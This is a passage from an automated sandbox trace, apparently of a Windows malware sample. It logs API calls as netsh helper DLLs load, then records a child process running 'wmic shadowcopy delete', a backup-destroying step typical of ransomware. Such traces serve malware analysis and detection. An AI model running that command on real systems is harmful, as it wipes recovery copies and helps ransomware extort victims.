(HeapHandle=0x15270b50000, Flags=0x0, Size=0x688) returned 0x15270b823e0 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b81da0) returned 1 [0052.084] RegisterHelper () returned 0x0 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x6e0) returned 0x15270b82a70 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b823e0) returned 1 [0052.084] RegisterHelper () returned 0x0 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x738) returned 0x15270b81da0 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b82a70) returned 1 [0052.084] RegisterHelper () returned 0x0 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x790) returned 0x15270b824e0 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b81da0) returned 1 [0052.084] RegisterHelper () returned 0x0 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x7e8) returned 0x15270b82c80 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b824e0) returned 1 [0052.084] RegisterHelper () returned 0x0 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x840) returned 0x15270b83470 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b82c80) returned 1 [0052.084] RegisterHelper () returned 0x0 [0052.084] GetProcessHeap () returned 0x15270b50000 [0052.084] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x898) returned 0x15270b81da0 [0052.085] GetProcessHeap () returned 0x15270b50000 [0052.085] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b83470) returned 1 [0052.085] RegisterHelper () returned 0x0 [0052.085] GetProcessHeap () returned 0x15270b50000 [0052.085] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x8f0) returned 0x15270b82640 [0052.085] GetProcessHeap () returned 0x15270b50000 [0052.085] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b81da0) returned 1 [0052.085] RegEnumValueW (in: hKey=0xb4, dwIndex=0x8, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="nettrace", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0052.085] _wcsicmp (_String1="nettrace.dll", _String2="ipxmontr.dll") returned 5 [0052.085] _wcsicmp (_String1="nettrace.dll", _String2="ipxpromn.dll") returned 5 [0052.085] GetProcessHeap () returned 0x15270b50000 [0052.085] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x190) returned 0x15270b6ac30 [0052.085] GetProcessHeap () returned 0x15270b50000 [0052.085] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x12) returned 0x15270b75df0 [0052.085] GetProcessHeap () returned 0x15270b50000 [0052.085] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1a) returned 0x15270b81b80 [0052.085] _wcsupr (in: _String="nettrace.dll" | out: _String="NETTRACE.DLL") returned="NETTRACE.DLL" [0052.085] GetProcessHeap () returned 0x15270b50000 [0052.085] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b756b0) returned 1 [0052.085] LoadLibraryExW (lpLibFileName="NETTRACE.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff911440000 [0054.344] GetProcAddress (hModule=0x7ff911440000, lpProcName="InitHelperDll") returned 0x7ff9114415d0 [0054.344] InitHelperDll () returned 0x0 [0054.344] RegisterHelper () returned 0x0 [0054.344] GetProcessHeap () returned 0x15270b50000 [0054.344] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x948) returned 0x15270b96790 [0054.345] GetProcessHeap () returned 0x15270b50000 [0054.345] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b82640) returned 1 [0054.345] RegEnumValueW (in: hKey=0xb4, dwIndex=0x9, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="nshhttp", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0054.345] _wcsicmp (_String1="nshhttp.dll", _String2="ipxmontr.dll") returned 5 [0054.345] _wcsicmp (_String1="nshhttp.dll", _String2="ipxpromn.dll") returned 5 [0054.345] GetProcessHeap () returned 0x15270b50000 [0054.345] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1b8) returned 0x15270b79420 [0054.345] GetProcessHeap () returned 0x15270b50000 [0054.345] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b81f70 [0054.345] GetProcessHeap () returned 0x15270b50000 [0054.345] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x18) returned 0x15270b82270 [0054.345] _wcsupr (in: _String="nshhttp.dll" | out: _String="NSHHTTP.DLL") returned="NSHHTTP.DLL" [0054.345] GetProcessHeap () returned 0x15270b50000 [0054.345] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b6ac30) returned 1 [0054.345] LoadLibraryExW (lpLibFileName="NSHHTTP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff91ab10000 [0055.587] GetProcAddress (hModule=0x7ff91ab10000, lpProcName="InitHelperDll") returned 0x7ff91ab110e0 [0055.587] InitHelperDll () returned 0x0 [0055.587] RegisterHelper () returned 0x0 [0055.587] GetProcessHeap () returned 0x15270b50000 [0055.587] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x9a0) returned 0x15270b970e0 [0055.587] GetProcessHeap () returned 0x15270b50000 [0055.587] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b96790) returned 1 [0055.587] RegEnumValueW (in: hKey=0xb4, dwIndex=0xa, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="nshipsec", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0055.587] _wcsicmp (_String1="nshipsec.dll", _String2="ipxmontr.dll") returned 5 [0055.587] _wcsicmp (_String1="nshipsec.dll", _String2="ipxpromn.dll") returned 5 [0055.587] GetProcessHeap () returned 0x15270b50000 [0055.587] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1e0) returned 0x15270b6ac30 [0055.587] GetProcessHeap () returned 0x15270b50000 [0055.587] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x12) returned 0x15270b81df0 [0055.587] GetProcessHeap () returned 0x15270b50000 [0055.587] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1a) returned 0x15270b85190 [0055.587] _wcsupr (in: _String="nshipsec.dll" | out: _String="NSHIPSEC.DLL") returned="NSHIPSEC.DLL" [0055.587] GetProcessHeap () returned 0x15270b50000 [0055.587] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b79420) returned 1 [0055.587] LoadLibraryExW (lpLibFileName="NSHIPSEC.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff911340000 [0057.888] GetProcAddress (hModule=0x7ff911340000, lpProcName="InitHelperDll") returned 0x7ff911341250 [0057.888] InitHelperDll () returned 0x0 [0057.888] RegisterHelper () returned 0x0 [0057.888] GetProcessHeap () returned 0x15270b50000 [0057.888] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x9f8) returned 0x15270b99aa0 [0057.888] GetProcessHeap () returned 0x15270b50000 [0057.888] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b970e0) returned 1 [0057.888] RegisterHelper () returned 0x0 [0057.888] GetProcessHeap () returned 0x15270b50000 [0057.888] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xa50) returned 0x15270b96790 [0057.888] GetProcessHeap () returned 0x15270b50000 [0057.888] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b99aa0) returned 1 [0057.888] RegisterHelper () returned 0x0 [0057.888] GetProcessHeap () returned 0x15270b50000 [0057.888] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xaa8) returned 0x15270b99aa0 [0057.888] GetProcessHeap () returned 0x15270b50000 [0057.888] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b96790) returned 1 [0057.997] RegEnumValueW (in: hKey=0xb4, dwIndex=0xb, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="nshwfp", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0057.997] _wcsicmp (_String1="nshwfp.dll", _String2="ipxmontr.dll") returned 5 [0057.997] _wcsicmp (_String1="nshwfp.dll", _String2="ipxpromn.dll") returned 5 [0057.997] GetProcessHeap () returned 0x15270b50000 [0057.997] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x208) returned 0x15270b977a0 [0057.997] GetProcessHeap () returned 0x15270b50000 [0057.997] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xe) returned 0x15270b820d0 [0057.997] GetProcessHeap () returned 0x15270b50000 [0057.997] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x16) returned 0x15270b82210 [0057.997] _wcsupr (in: _String="nshwfp.dll" | out: _String="NSHWFP.DLL") returned="NSHWFP.DLL" [0057.997] GetProcessHeap () returned 0x15270b50000 [0057.997] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b6ac30) returned 1 [0057.997] LoadLibraryExW (lpLibFileName="NSHWFP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff910ec0000 [0058.985] GetProcAddress (hModule=0x7ff910ec0000, lpProcName="InitHelperDll") returned 0x7ff910ec10d0 [0058.985] InitHelperDll () returned 0x0 [0059.046] RegisterHelper () returned 0x0 [0059.046] GetProcessHeap () returned 0x15270b50000 [0059.046] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xb00) returned 0x15270b9bdc0 [0059.046] GetProcessHeap () returned 0x15270b50000 [0059.047] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b99aa0) returned 1 [0059.047] RegEnumValueW (in: hKey=0xb4, dwIndex=0xc, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="p2pnetsh", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0059.047] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxmontr.dll") returned 7 [0059.047] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxpromn.dll") returned 7 [0059.047] GetProcessHeap () returned 0x15270b50000 [0059.047] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x230) returned 0x15270b6ac30 [0059.047] GetProcessHeap () returned 0x15270b50000 [0059.047] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x12) returned 0x15270b82510 [0059.047] GetProcessHeap () returned 0x15270b50000 [0059.047] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1a) returned 0x15270b9b810 [0059.047] _wcsupr (in: _String="p2pnetsh.dll" | out: _String="P2PNETSH.DLL") returned="P2PNETSH.DLL" [0059.047] GetProcessHeap () returned 0x15270b50000 [0059.047] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b977a0) returned 1 [0059.047] LoadLibraryExW (lpLibFileName="P2PNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff910e80000 [0060.130] GetProcAddress (hModule=0x7ff910e80000, lpProcName="InitHelperDll") returned 0x7ff910e811e0 [0060.130] InitHelperDll () returned 0x0 [0060.130] RegisterHelper () returned 0x0 [0060.130] GetProcessHeap () returned 0x15270b50000 [0060.130] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xb58) returned 0x15270ba0900 [0060.130] GetProcessHeap () returned 0x15270b50000 [0060.130] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b9bdc0) returned 1 [0060.130] RegisterHelper () returned 0x0 [0060.130] GetProcessHeap () returned 0x15270b50000 [0060.130] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xbb0) returned 0x15270ba1460 [0060.131] GetProcessHeap () returned 0x15270b50000 [0060.131] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba0900) returned 1 [0060.131] RegisterHelper () returned 0x0 [0060.131] GetProcessHeap () returned 0x15270b50000 [0060.131] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xc08) returned 0x15270ba2020 [0060.131] GetProcessHeap () returned 0x15270b50000 [0060.131] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba1460) returned 1 [0060.131] RegisterHelper () returned 0x0 [0060.131] GetProcessHeap () returned 0x15270b50000 [0060.131] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xc60) returned 0x15270ba0900 [0060.131] GetProcessHeap () returned 0x15270b50000 [0060.131] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba2020) returned 1 [0060.143] RegisterHelper () returned 0x0 [0060.143] GetProcessHeap () returned 0x15270b50000 [0060.143] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xcb8) returned 0x15270ba1570 [0060.143] GetProcessHeap () returned 0x15270b50000 [0060.143] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba0900) returned 1 [0060.143] RegisterHelper () returned 0x0 [0060.143] GetProcessHeap () returned 0x15270b50000 [0060.143] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xd10) returned 0x15270ba2230 [0060.143] GetProcessHeap () returned 0x15270b50000 [0060.143] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba1570) returned 1 [0060.143] RegisterHelper () returned 0x0 [0060.143] GetProcessHeap () returned 0x15270b50000 [0060.143] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xd68) returned 0x15270ba0900 [0060.143] GetProcessHeap () returned 0x15270b50000 [0060.143] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba2230) returned 1 [0060.145] RegisterHelper () returned 0x0 [0060.145] GetProcessHeap () returned 0x15270b50000 [0060.145] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xdc0) returned 0x15270ba1670 [0060.145] GetProcessHeap () returned 0x15270b50000 [0060.145] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba0900) returned 1 [0060.145] RegEnumValueW (in: hKey=0xb4, dwIndex=0xd, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="rpc", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0060.145] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxmontr.dll") returned 9 [0060.145] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxpromn.dll") returned 9 [0060.145] GetProcessHeap () returned 0x15270b50000 [0060.145] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x258) returned 0x15270b825b0 [0060.145] GetProcessHeap () returned 0x15270b50000 [0060.145] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x8) returned 0x15270b5de90 [0060.145] GetProcessHeap () returned 0x15270b50000 [0060.145] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x16) returned 0x15270b823d0 [0060.145] _wcsupr (in: _String="rpcnsh.dll" | out: _String="RPCNSH.DLL") returned="RPCNSH.DLL" [0060.145] GetProcessHeap () returned 0x15270b50000 [0060.145] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b6ac30) returned 1 [0060.145] LoadLibraryExW (lpLibFileName="RPCNSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff910650000 [0060.676] GetProcAddress (hModule=0x7ff910650000, lpProcName="InitHelperDll") returned 0x7ff910651010 [0060.676] InitHelperDll () returned 0x0 [0060.676] RegisterHelper () returned 0x0 [0060.676] GetProcessHeap () returned 0x15270b50000 [0060.676] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xe18) returned 0x15270ba2440 [0060.676] GetProcessHeap () returned 0x15270b50000 [0060.676] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba1670) returned 1 [0060.676] RegisterHelper () returned 0x0 [0060.676] GetProcessHeap () returned 0x15270b50000 [0060.676] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xe70) returned 0x15270ba0900 [0060.676] GetProcessHeap () returned 0x15270b50000 [0060.676] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba2440) returned 1 [0060.676] RegEnumValueW (in: hKey=0xb4, dwIndex=0xe, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="WcnNetsh", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0060.677] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxmontr.dll") returned 14 [0060.677] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxpromn.dll") returned 14 [0060.677] GetProcessHeap () returned 0x15270b50000 [0060.677] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x280) returned 0x15270b82810 [0060.677] GetProcessHeap () returned 0x15270b50000 [0060.677] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x12) returned 0x15270b823f0 [0060.677] GetProcessHeap () returned 0x15270b50000 [0060.677] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1a) returned 0x15270b9b9f0 [0060.677] _wcsupr (in: _String="WcnNetsh.dll" | out: _String="WCNNETSH.DLL") returned="WCNNETSH.DLL" [0060.677] GetProcessHeap () returned 0x15270b50000 [0060.677] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b825b0) returned 1 [0060.677] LoadLibraryExW (lpLibFileName="WCNNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff910630000 [0061.397] GetProcAddress (hModule=0x7ff910630000, lpProcName="InitHelperDll") returned 0x7ff910631680 [0061.397] InitHelperDll () returned 0x0 [0061.397] RegisterHelper () returned 0x0 [0061.397] GetProcessHeap () returned 0x15270b50000 [0061.397] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xec8) returned 0x15270ba1780 [0061.397] GetProcessHeap () returned 0x15270b50000 [0061.397] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba0900) returned 1 [0061.397] RegEnumValueW (in: hKey=0xb4, dwIndex=0xf, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="whhelper", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0061.398] _wcsicmp (_String1="whhelper.dll", _String2="ipxmontr.dll") returned 14 [0061.398] _wcsicmp (_String1="whhelper.dll", _String2="ipxpromn.dll") returned 14 [0061.398] GetProcessHeap () returned 0x15270b50000 [0061.398] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x2a8) returned 0x15270b99eb0 [0061.398] GetProcessHeap () returned 0x15270b50000 [0061.398] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x12) returned 0x15270b82430 [0061.398] GetProcessHeap () returned 0x15270b50000 [0061.398] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1a) returned 0x15270b9bcc0 [0061.398] _wcsupr (in: _String="whhelper.dll" | out: _String="WHHELPER.DLL") returned="WHHELPER.DLL" [0061.398] GetProcessHeap () returned 0x15270b50000 [0061.398] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b82810) returned 1 [0061.398] LoadLibraryExW (lpLibFileName="WHHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff910620000 [0061.982] GetProcAddress (hModule=0x7ff910620000, lpProcName="InitHelperDll") returned 0x7ff9106214d0 [0061.982] InitHelperDll () returned 0x0 [0061.982] RegisterHelper () returned 0x0 [0061.982] GetProcessHeap () returned 0x15270b50000 [0061.982] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xf20) returned 0x15270ba2650 [0061.982] GetProcessHeap () returned 0x15270b50000 [0061.982] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270ba1780) returned 1 [0061.982] RegEnumValueW (in: hKey=0xb4, dwIndex=0x10, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="wlancfg", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0061.983] _wcsicmp (_String1="wlancfg.dll", _String2="ipxmontr.dll") returned 14 [0061.983] _wcsicmp (_String1="wlancfg.dll", _String2="ipxpromn.dll") returned 14 [0061.983] GetProcessHeap () returned 0x15270b50000 [0061.983] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x2d0) returned 0x15270b9a160 [0061.983] GetProcessHeap () returned 0x15270b50000 [0061.983] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b82470 [0061.983] GetProcessHeap () returned 0x15270b50000 [0061.983] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x18) returned 0x15270b82490 [0061.983] _wcsupr (in: _String="wlancfg.dll" | out: _String="WLANCFG.DLL") returned="WLANCFG.DLL" [0061.983] GetProcessHeap () returned 0x15270b50000 [0061.983] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b99eb0) returned 1 [0061.983] LoadLibraryExW (lpLibFileName="WLANCFG.DLL", hFile=0x0, dwFlags=0x0) Thread: id = 29 os_tid = 0x83c Thread: id = 42 os_tid = 0x7cc Thread: id = 45 os_tid = 0xbec Process: id = "9" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x760a000" os_pid = "0xd08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xc34" cmd_line = "wmic shadowcopy delete" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 43 os_tid = 0x9b4 [0046.427] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6a5dc0000 [0046.427] __set_app_type (_Type=0x1) [0046.427] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6a5dfec40) returned 0x0 [0046.427] __wgetmainargs (in: _Argc=0x7ff6a5e27258, _Argv=0x7ff6a5e27260, _Env=0x7ff6a5e27268, _DoWildCard=0, _StartInfo=0x7ff6a5e27274 | out: _Argc=0x7ff6a5e27258, _Argv=0x7ff6a5e27260, _Env=0x7ff6a5e27268) returned 0 [0046.536] ??0CHString@@QEAA@XZ () returned 0x7ff6a5e279b0 [0046.541] malloc (_Size=0x30) returned 0x29a993a15a0 [0046.541] malloc (_Size=0x70) returned 0x29a993a15e0 [0046.541] malloc (_Size=0x50) returned 0x29a993a1660 [0046.541] malloc (_Size=0x30) returned 0x29a993a16c0 [0046.541] malloc (_Size=0x48) returned 0x29a993a1700 [0046.541] malloc (_Size=0x30) returned 0x29a993a1750 [0046.541] malloc (_Size=0x30) returned 0x29a993a6c10 [0046.541] ??0CHString@@QEAA@XZ () returned 0x7ff6a5e27e60 [0046.541] malloc (_Size=0x30) returned 0x29a993a6c50 [0046.543] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0046.543] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6a5df7ca0, Add=1) returned 1 [0046.544] _onexit (_Func=0x7ff6a5e091c0) returned 0x7ff6a5e091c0 [0046.544] _onexit (_Func=0x7ff6a5e092a0) returned 0x7ff6a5e092a0 [0046.544] _onexit (_Func=0x7ff6a5e092e0) returned 0x7ff6a5e092e0 [0046.544] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0046.544] ResolveDelayLoadedAPI () returned 0x7ff92fa5efc0 [0046.544] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0047.175] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0047.205] CoCreateInstance (in: rclsid=0x7ff6a5e10608*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6a5e10618*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x7ff6a5e27840 | out: ppv=0x7ff6a5e27840*=0x29a9913bdf0) returned 0x0 [0047.972] GetCurrentProcess () returned 0xffffffffffffffff [0047.972] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x9e5235f740 | out: TokenHandle=0x9e5235f740*=0x154) returned 1 [0047.972] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x9e5235f738 | out: TokenInformation=0x0, ReturnLength=0x9e5235f738) returned 0 [0047.972] malloc (_Size=0x118) returned 0x29a993a5a90 [0047.972] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x3, TokenInformation=0x29a993a5a90, TokenInformationLength=0x118, ReturnLength=0x9e5235f738 | out: TokenInformation=0x29a993a5a90, ReturnLength=0x9e5235f738) returned 1 [0047.972] AdjustTokenPrivileges (in: TokenHandle=0x154, DisableAllPrivileges=0, NewState=0x29a993a5a90*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, 